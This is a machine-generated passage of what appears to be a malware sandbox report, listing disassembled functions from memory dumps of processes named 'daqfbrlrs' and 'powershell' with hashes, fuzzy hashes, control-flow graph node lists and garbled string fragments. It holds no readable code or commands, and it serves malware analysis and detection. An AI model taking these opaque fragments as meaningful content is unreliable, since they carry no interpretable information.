                                                            • Opcode Fuzzy Hash: ac3719868abcc84550134b6a95062b3c9e435352ec551590adcb40362fae4cae
                                                            • Instruction Fuzzy Hash: 44011435E0120A9FCB04FBB5D55C6ADBBB1EF48301B204469D856E3288EF795A05CB86
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 031F0D61 Relevance: .0, Instructions: 33COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000D.00000002.2553677852.00000000031F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031F0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_13_2_31f0000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 3beb8fd801ef0334c25372a237c4466aef856ee32c249c197808761aa450ef7f
                                                            • Instruction ID: c7110c685f9c979379057688b0c52d8cddca18fce2975a00be93236995931398
                                                            • Opcode Fuzzy Hash: 3beb8fd801ef0334c25372a237c4466aef856ee32c249c197808761aa450ef7f
                                                            • Instruction Fuzzy Hash: 0BF0E2726027041B8301D75ED85055AFBDAEFCA120345C0BAD05DCB351DA21E90687D0
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 071E1303 Relevance: .0, Instructions: 29COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000D.00000002.2596304735.00000000071E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071E0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_13_2_71e0000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 6fb11a84125bbee7011fb28cac49f6a6dc9922a44f71309cffa07708fc02c9d0
                                                            • Instruction ID: c117f0858c802b382e929afa1971bbc2ed40c13836809834492593ec29249272
                                                            • Opcode Fuzzy Hash: 6fb11a84125bbee7011fb28cac49f6a6dc9922a44f71309cffa07708fc02c9d0
                                                            • Instruction Fuzzy Hash: 6801A578A082188FDB68DF14D9846E9B7F5FB59300F1041D9D90EE7750D7346E898F41
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 031F0D70 Relevance: .0, Instructions: 28COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000D.00000002.2553677852.00000000031F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031F0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_13_2_31f0000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 3e5a9969b755e07b909ee220f345896db485d2daac6c843bd61d7b5f008669e6
                                                            • Instruction ID: e383fbf31499696cdfbab04a9c02ec58976b467773fa2f4eb213b64f005f49e7
                                                            • Opcode Fuzzy Hash: 3e5a9969b755e07b909ee220f345896db485d2daac6c843bd61d7b5f008669e6
                                                            • Instruction Fuzzy Hash: 18E06D367016045B8204EA5ED85089AF7DAEBC9160355C57ED15DCB350DA22AC0687E4
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 031F1518 Relevance: .0, Instructions: 27COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000D.00000002.2553677852.00000000031F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031F0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_13_2_31f0000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 129440d3c33a24634ee19fc9dbbc050e6694c5b857f590aeb16a52e5af246968
                                                            • Instruction ID: d7aa7d8414eff02a621cb8bcc06e8a8bcc23a1b52a8101c8bb80cb7a778ef485
                                                            • Opcode Fuzzy Hash: 129440d3c33a24634ee19fc9dbbc050e6694c5b857f590aeb16a52e5af246968
                                                            • Instruction Fuzzy Hash: A4E04F32704228AFD714DAA8A4006DABBEDEB4D271F1400BAE54DC3680EA73D9418790
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 031F44F0 Relevance: .0, Instructions: 25COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000D.00000002.2553677852.00000000031F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031F0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_13_2_31f0000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 3cf73468389b9234b8094b9156657221d2590e7bd820fbaa52e52f97fe540109
                                                            • Instruction ID: a0128cd54b434f14f3bd2efb69504c3b348a520f26fbb34b142529c32fffee14
                                                            • Opcode Fuzzy Hash: 3cf73468389b9234b8094b9156657221d2590e7bd820fbaa52e52f97fe540109
                                                            • Instruction Fuzzy Hash: 87E09B39B001048FCB14EBA9D5505DDB7E1EFC8224F14856AD11AAB350DF31DC0687D4
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 031F0C81 Relevance: .0, Instructions: 23COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000D.00000002.2553677852.00000000031F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031F0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_13_2_31f0000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: e8695759f121dc5cf0e5f6c7d47447ae47d247329b151c264c912bbec288e96f
                                                            • Instruction ID: ca38b2e92124ffd346850c813ed638b89f8e4faa25245e2fec67a82efb7077b6
                                                            • Opcode Fuzzy Hash: e8695759f121dc5cf0e5f6c7d47447ae47d247329b151c264c912bbec288e96f
                                                            • Instruction Fuzzy Hash: 8EE012B190524CDFCB01EBA8D95259C7BF4EF4520170545D9D849DB212D7316F05EB91
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 071F9900 Relevance: .0, Instructions: 23COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000D.00000002.2596304735.00000000071E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071E0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_13_2_71e0000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: b34f6a74b1af7c86a4fa7498b525a97d2443e6ffc816aec93ef688bd451975fd
                                                            • Instruction ID: 079207ebb9df30bdd31fe90a922eade553fc8a78f109bfe6f65f0cf2f4095fc5
                                                            • Opcode Fuzzy Hash: b34f6a74b1af7c86a4fa7498b525a97d2443e6ffc816aec93ef688bd451975fd
                                                            • Instruction Fuzzy Hash: 97E0C9B4E05208EFCB84EFA8D440A9CBBF8FB48310F10C0A9D91893350D735AA51DF40
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 071F5830 Relevance: .0, Instructions: 23COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000D.00000002.2596304735.00000000071E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071E0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_13_2_71e0000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: b34f6a74b1af7c86a4fa7498b525a97d2443e6ffc816aec93ef688bd451975fd
                                                            • Instruction ID: 07a378d7333d2ff7a7d34d35a2f81f90cc02a6e29392dd0785307a8772290ae6
                                                            • Opcode Fuzzy Hash: b34f6a74b1af7c86a4fa7498b525a97d2443e6ffc816aec93ef688bd451975fd
                                                            • Instruction Fuzzy Hash: B4E0C9B4E05208EFCB84DFA9D441A9CBBF5EB48310F10C0ADD91993340D7359A51DF80
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 031F290F Relevance: .0, Instructions: 22COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000D.00000002.2553677852.00000000031F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031F0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_13_2_31f0000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 27371b9f853f02a74d965eae234112d6a7741669b511f5b3b41434bb1f60dd3a
                                                            • Instruction ID: a4ad01ec0ea50c84841aa738fae919c419e9ec7165e3a227bbb6b8aceea2c7c0
                                                            • Opcode Fuzzy Hash: 27371b9f853f02a74d965eae234112d6a7741669b511f5b3b41434bb1f60dd3a
                                                            • Instruction Fuzzy Hash: C7E09A34902208EFCB40DFB4D9915DEBBB0EF86300B1002D8D089CB210DB32AE06EB82
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 071FDC78 Relevance: .0, Instructions: 22COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000D.00000002.2596304735.00000000071E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071E0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_13_2_71e0000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: fd0a10a5138d00eba5b35af70656c96caa3e25c645d10e20d7abd625f2874f59
                                                            • Instruction ID: b2a78e86fb9d2009a42cacc3d79b914b05d257217fe3f0f1fe39169f3ff826ac
                                                            • Opcode Fuzzy Hash: fd0a10a5138d00eba5b35af70656c96caa3e25c645d10e20d7abd625f2874f59
                                                            • Instruction Fuzzy Hash: 00E0DFB4A0620CDFDB84FFF8E5687AD7BF89B45301F2040A8D948D3380EA304A44CB82
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 071FF0F0 Relevance: .0, Instructions: 21COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000D.00000002.2596304735.00000000071E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071E0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_13_2_71e0000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 24d27330f085f36b58fec97fdc14f10649887c29f74c703b0da915d974417227
                                                            • Instruction ID: 7fde8c4f7006dede9764bc654bdd7c5b5b848a2a8021dc7235d8f1596d1e5a5a
                                                            • Opcode Fuzzy Hash: 24d27330f085f36b58fec97fdc14f10649887c29f74c703b0da915d974417227
                                                            • Instruction Fuzzy Hash: 10E086B4A0910CEFC704DFA4D8409ADBFB8AB45310F10C199E94857381DB719A52DB90
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 071F8360 Relevance: .0, Instructions: 20COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000D.00000002.2596304735.00000000071E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071E0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_13_2_71e0000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 026b4fddd26a728a673ae5c48ddfcec7b908f18426bde501aae91d2a53405a4a
                                                            • Instruction ID: a248e62aa25a74da2b12df333526add93024be0ed9b9ee8a6ec3875463a9479e
                                                            • Opcode Fuzzy Hash: 026b4fddd26a728a673ae5c48ddfcec7b908f18426bde501aae91d2a53405a4a
                                                            • Instruction Fuzzy Hash: CCE04F74D09108EFC744EFA8D4416ACFBB4EB49300F10C1E9D85853391D7359A41DF40
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 071FCF80 Relevance: .0, Instructions: 19COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000D.00000002.2596304735.00000000071E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071E0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_13_2_71e0000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 88d539c2c54db1bff3aeba0d5b9f53246bc01b67d839219b8c352054d02f1c4e
                                                            • Instruction ID: 4e59b78e370cd28705f18e3488ebf4280a711f8e0605fc706e9683653b3ef4c7
                                                            • Opcode Fuzzy Hash: 88d539c2c54db1bff3aeba0d5b9f53246bc01b67d839219b8c352054d02f1c4e
                                                            • Instruction Fuzzy Hash: 19E0127490910CDFCB18DFA4E9559ACFBB4EB45314F20D199D80917381DB315E52DB91
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 071FD118 Relevance: .0, Instructions: 19COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000D.00000002.2596304735.00000000071E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071E0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_13_2_71e0000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 88d539c2c54db1bff3aeba0d5b9f53246bc01b67d839219b8c352054d02f1c4e
                                                            • Instruction ID: 3cdc12a6d3f619ac7e9672414157988fad7c8c41440230329997ddeeace35d10
                                                            • Opcode Fuzzy Hash: 88d539c2c54db1bff3aeba0d5b9f53246bc01b67d839219b8c352054d02f1c4e
                                                            • Instruction Fuzzy Hash: 65E01274A09108DBC704EFA4E9519BCBBB9EB45314F60D19DD84817381DF315E52DB81
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03140938 Relevance: .0, Instructions: 18COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000D.00000002.2553214257.0000000003140000.00000040.00000800.00020000.00000000.sdmp, Offset: 03140000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_13_2_3140000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: de45888b8302d55e0caf4fcecc6ba00cae39aa095929efdf007a2dbcb9a4a26c
                                                            • Instruction ID: 6ddcc5813f803f685a4fcec81ce658737cf434d342f39018a684e0c3507c818b
                                                            • Opcode Fuzzy Hash: de45888b8302d55e0caf4fcecc6ba00cae39aa095929efdf007a2dbcb9a4a26c
                                                            • Instruction Fuzzy Hash: 5FE0C2305CE3C98FCB12CB70CDA142C7FA0AF472007284DDEC884976E2D7254956C782
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 031F2920 Relevance: .0, Instructions: 16COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000D.00000002.2553677852.00000000031F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031F0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_13_2_31f0000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 929c12ccd09d153144f3314567d8ed144d8431d33edc5af48f510a69c00a03f1
                                                            • Instruction ID: 1819690233983a02bcfb49aec46aa55524acbdbac637308d85a5c973550e01fc
                                                            • Opcode Fuzzy Hash: 929c12ccd09d153144f3314567d8ed144d8431d33edc5af48f510a69c00a03f1
                                                            • Instruction Fuzzy Hash: 52D05B3090220CFFCB00EFB4D9405DDBBF9EB84200B1055A8D449D7304DB315F00AB90
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 031F0C90 Relevance: .0, Instructions: 16COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000D.00000002.2553677852.00000000031F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031F0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_13_2_31f0000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: d06083add98f9eb78cb66c352bf32c67840cf9afa86dff2bfe4cd9d45d437cd6
                                                            • Instruction ID: 1f986487f5a3e8ec629e61e666e9b5df0c883fd0eab1cf4b1490a2e3873e464e
                                                            • Opcode Fuzzy Hash: d06083add98f9eb78cb66c352bf32c67840cf9afa86dff2bfe4cd9d45d437cd6
                                                            • Instruction Fuzzy Hash: 90D01770A0220CEF8B00EFA8EA0159DB7F9EB44200B1046A99948D7200EB326E00AB91
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03140948 Relevance: .0, Instructions: 16COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000D.00000002.2553214257.0000000003140000.00000040.00000800.00020000.00000000.sdmp, Offset: 03140000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_13_2_3140000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: cdc942083c6b2422afd3e04899be152a119e6003559e41c49859670d51bf37fc
                                                            • Instruction ID: f9882d466ce6d7ccbaa098078ca1230714ebb5ddf06c5329be4b43a449299cc4
                                                            • Opcode Fuzzy Hash: cdc942083c6b2422afd3e04899be152a119e6003559e41c49859670d51bf37fc
                                                            • Instruction Fuzzy Hash: 45D0223058B10CEFDB54DBAAD800BAAFBACE70A200F106498A80C23210EB314E40D240
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 071FD508 Relevance: .0, Instructions: 12COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000D.00000002.2596304735.00000000071E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071E0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_13_2_71e0000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 77fffcbb66fc391cd459f9d6a581f0c3731b3c4d5f4bb422e436cf2215efb548
                                                            • Instruction ID: 618232c44674d954c40c1b7298f7fb8d0e70ecd18069ac13c95ffb576c38ff55
                                                            • Opcode Fuzzy Hash: 77fffcbb66fc391cd459f9d6a581f0c3731b3c4d5f4bb422e436cf2215efb548
                                                            • Instruction Fuzzy Hash: 93C08CF015B20A86D21826A4B028374B7BC830620DF446810F68C010A0EB705090CA44
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 031F2AF0 Relevance: .0, Instructions: 8COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000D.00000002.2553677852.00000000031F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031F0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_13_2_31f0000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 106275c00c28bf672f960fad47e7a37dd2abd865ac6039d814d0cc1b20306ce0
                                                            • Instruction ID: 26a96e73e09f8aa1dee75cf22ce82760c9fc9c33663f6dc1f7af6c15a9bb3b7d
                                                            • Opcode Fuzzy Hash: 106275c00c28bf672f960fad47e7a37dd2abd865ac6039d814d0cc1b20306ce0
                                                            • Instruction Fuzzy Hash: 04B012302292080F9740EBB22C09A12328C55048043500460DD0CC0106F669E0004540
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Execution Graph

                                                            Execution Coverage:6.5%
                                                            Dynamic/Decrypted Code Coverage:0%
                                                            Signature Coverage:0%
                                                            Total number of Nodes:3
                                                            Total number of Limit Nodes:0
                                                            execution_graph 21817 8946428 21818 894646b SetThreadToken 21817->21818 21819 8946499 21818->21819

                                                            Executed Functions

                                                            Function 0310B470 Relevance: .3, Instructions: 263COMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 1067 310b470-310b4a9 1069 310b4ab 1067->1069 1070 310b4ae-310b7e9 call 310acbc 1067->1070 1069->1070 1131 310b7ee-310b7f5 1070->1131
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2213602339.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_3100000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 3ed80b2ba78ffde7fa7b6fa27e6b9469b75517f95bdadb5d47386ac6ea976dc6
                                                            • Instruction ID: 743324a5d88042d3496f45adcbb4e0edcf8591d5b3fc75976e6504c5179c1bbf
                                                            • Opcode Fuzzy Hash: 3ed80b2ba78ffde7fa7b6fa27e6b9469b75517f95bdadb5d47386ac6ea976dc6
                                                            • Instruction Fuzzy Hash: 3A917271F007185BDB1AEFB4C9146BEB7A2EFC4604B05891DD14AAB380DF746D0A8BD6
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0310B490 Relevance: .3, Instructions: 252COMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 1132 310b490-310b4a9 1133 310b4ab 1132->1133 1134 310b4ae-310b7e9 call 310acbc 1132->1134 1133->1134 1195 310b7ee-310b7f5 1134->1195
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2213602339.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_3100000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 465bd1b13f77d452b774fbf154a7c2052a1638c602506121de2b95a9b3cb60f7
                                                            • Instruction ID: 1231e9e966745bb14db61ffe7323355a172ce91a67726e9f0db4f5117591d6f2
                                                            • Opcode Fuzzy Hash: 465bd1b13f77d452b774fbf154a7c2052a1638c602506121de2b95a9b3cb60f7
                                                            • Instruction Fuzzy Hash: 8C915E71F006185BDB1AEFB4C9146BEB7A2EFC4704B05891DD14AAB380DF746D0A8BD6
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 077D2308 Relevance: 52.8, Strings: 41, Instructions: 1573COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2259871486.00000000077D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077D0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_77d0000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: $ak$,Sil$,Sil$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$p5Yk$pi1k$pi1k$pi1k$pi1k$pi1k$tP^q$tP^q$tP^q$tP^q$tP^q$tP^q$|,3k$#Yk$$Yk$$^q$$^q$$^q$Jjl$Jjl$Jjl$Jjl$Jjl$Jjl$Ril$Ril$ril$ril$_l$_l
                                                            • API String ID: 0-4148194350
                                                            • Opcode ID: fb47d19b601bfae6ed7971f8532631c8d93df597c86551b45061141124a781cb
                                                            • Instruction ID: 7a511c639911b31261b94fc3698ecb7d9c24e3aaabd2d200c82898e42349d696
                                                            • Opcode Fuzzy Hash: fb47d19b601bfae6ed7971f8532631c8d93df597c86551b45061141124a781cb
                                                            • Instruction Fuzzy Hash: F5B24AB1B04306DFCB259F6998017AABBF2BF85350F1488BAD505CB252DB71DC46C7A2
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 077D3CE8 Relevance: 5.6, Strings: 4, Instructions: 590COMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 465 77d3ce8-77d3d0d 466 77d3f00-77d3f16 465->466 467 77d3d13-77d3d18 465->467 477 77d3f1f-77d3f21 466->477 478 77d3f18-77d3f1d 466->478 468 77d3d1a-77d3d20 467->468 469 77d3d30-77d3d34 467->469 473 77d3d24-77d3d2e 468->473 474 77d3d22 468->474 470 77d3d3a-77d3d3c 469->470 471 77d3eb0-77d3eba 469->471 475 77d3d4c 470->475 476 77d3d3e-77d3d4a 470->476 479 77d3ebc-77d3ec5 471->479 480 77d3ec8-77d3ece 471->480 473->469 474->469 481 77d3d4e-77d3d50 475->481 476->481 482 77d3f75-77d3f79 477->482 483 77d3f23-77d3f4a 477->483 478->477 484 77d3ed4-77d3ee0 480->484 485 77d3ed0-77d3ed2 480->485 481->471 488 77d3d56-77d3d75 481->488 489 77d3f89 482->489 490 77d3f7b-77d3f87 482->490 491 77d40ce-77d40de 483->491 492 77d3f50-77d3f55 483->492 487 77d3ee2-77d3efd 484->487 485->487 519 77d3d85 488->519 520 77d3d77-77d3d83 488->520 494 77d3f8b-77d3f8d 489->494 490->494 504 77d40e7-77d4112 491->504 505 77d40e0-77d40e5 491->505 495 77d3f6d-77d3f71 492->495 496 77d3f57-77d3f5d 492->496 501 77d4080-77d408a 494->501 503 77d3f93-77d3fb2 494->503 495->482 495->501 497 77d3f5f 496->497 498 77d3f61-77d3f6b 496->498 497->495 498->495 506 77d408c-77d4094 501->506 507 77d4097-77d409d 501->507 537 77d3fb4-77d3fc0 503->537 538 77d3fc2 503->538 509 77d4228-77d425d 504->509 510 77d4118-77d411d 504->510 505->504 512 77d409f-77d40a1 507->512 513 77d40a3-77d40af 507->513 531 77d425f-77d4281 509->531 532 77d428b-77d4295 509->532 516 77d411f-77d4125 510->516 517 77d4135-77d4139 510->517 518 77d40b1-77d40cb 512->518 513->518 521 77d4129-77d4133 516->521 522 77d4127 516->522 523 77d413f-77d4141 517->523 524 77d41da-77d41e4 517->524 527 77d3d87-77d3d89 519->527 520->527 521->517 522->517 529 77d4151 523->529 530 77d4143-77d414f 523->530 533 77d41e6-77d41ee 524->533 534 77d41f1-77d41f7 524->534 527->471 535 77d3d8f-77d3d96 527->535 542 77d4153-77d4155 529->542 530->542 577 77d42d5-77d42fe 531->577 578 77d4283-77d4288 531->578 540 77d429f-77d42a5 532->540 541 77d4297-77d429c 532->541 544 77d41fd-77d4209 534->544 545 77d41f9-77d41fb 534->545 535->466 546 77d3d9c-77d3da1 535->546 539 77d3fc4-77d3fc6 537->539 538->539 539->501 548 77d3fcc-77d4003 539->548 549 77d42ab-77d42b7 540->549 550 77d42a7-77d42a9 540->550 542->524 551 77d415b-77d415d 542->551 553 77d420b-77d4225 544->553 545->553 554 77d3db9-77d3dc8 546->554 555 77d3da3-77d3da9 546->555 588 77d401d-77d4024 548->588 589 77d4005-77d400b 548->589 559 77d42b9-77d42d2 549->559 550->559 560 77d415f-77d4165 551->560 561 77d4177-77d417e 551->561 554->471 572 77d3dce-77d3dec 554->572 556 77d3dad-77d3db7 555->556 557 77d3dab 555->557 556->554 557->554 566 77d4169-77d4175 560->566 567 77d4167 560->567 568 77d4196-77d41d7 561->568 569 77d4180-77d4186 561->569 566->561 567->561 574 77d4188 569->574 575 77d418a-77d4194 569->575 572->471 595 77d3df2-77d3e17 572->595 574->568 575->568 591 77d432d-77d433e 577->591 592 77d4300-77d4326 577->592 596 77d403c-77d407d 588->596 597 77d4026-77d402c 588->597 593 77d400d 589->593 594 77d400f-77d401b 589->594 606 77d4347-77d4348 591->606 607 77d4340-77d4346 591->607 611 77d432b-77d432c 592->611 593->588 594->588 595->471 612 77d3e1d-77d3e24 595->612 599 77d402e 597->599 600 77d4030-77d403a 597->600 599->596 600->596 610 77d4349 606->610 606->611 607->606 613 77d439d-77d439f 610->613 614 77d434a-77d435c 610->614 611->591 615 77d3e6a-77d3e9d 612->615 616 77d3e26-77d3e41 612->616 617 77d43a8-77d43ae 613->617 618 77d43a1-77d43a5 613->618 619 77d435e-77d437b 614->619 620 77d4395-77d4399 614->620 641 77d3ea4-77d3ead 615->641 627 77d3e5b-77d3e5f 616->627 628 77d3e43-77d3e49 616->628 621 77d43b4-77d43c0 617->621 622 77d43b0-77d43b2 617->622 629 77d437d-77d438f 619->629 630 77d43e5-77d43ea 619->630 620->613 624 77d43c2-77d43e2 621->624 622->624 637 77d3e66-77d3e68 627->637 633 77d3e4d-77d3e59 628->633 634 77d3e4b 628->634 629->620 630->629 633->627 634->627 637->641
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 0000000E.00000002.2259871486.00000000077D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077D0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_14_2_77d0000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: 4'^q$4'^q$4'^q$4'^q
                                                            • API String ID: 0-1420252700
                                                            • Opcode ID: 5d4467d43ceb5de1076815f3534d7d794e0dba7746d87a140b06072bc29acddc
                                                            • Instruction ID: 702cad717298baed45212c54c433b7464956b50ef7b735e27f25647819e3f012
                                                            • Opcode Fuzzy Hash: 5d4467d43ceb5de1076815f3534d7d794e0dba7746d87a140b06072bc29acddc
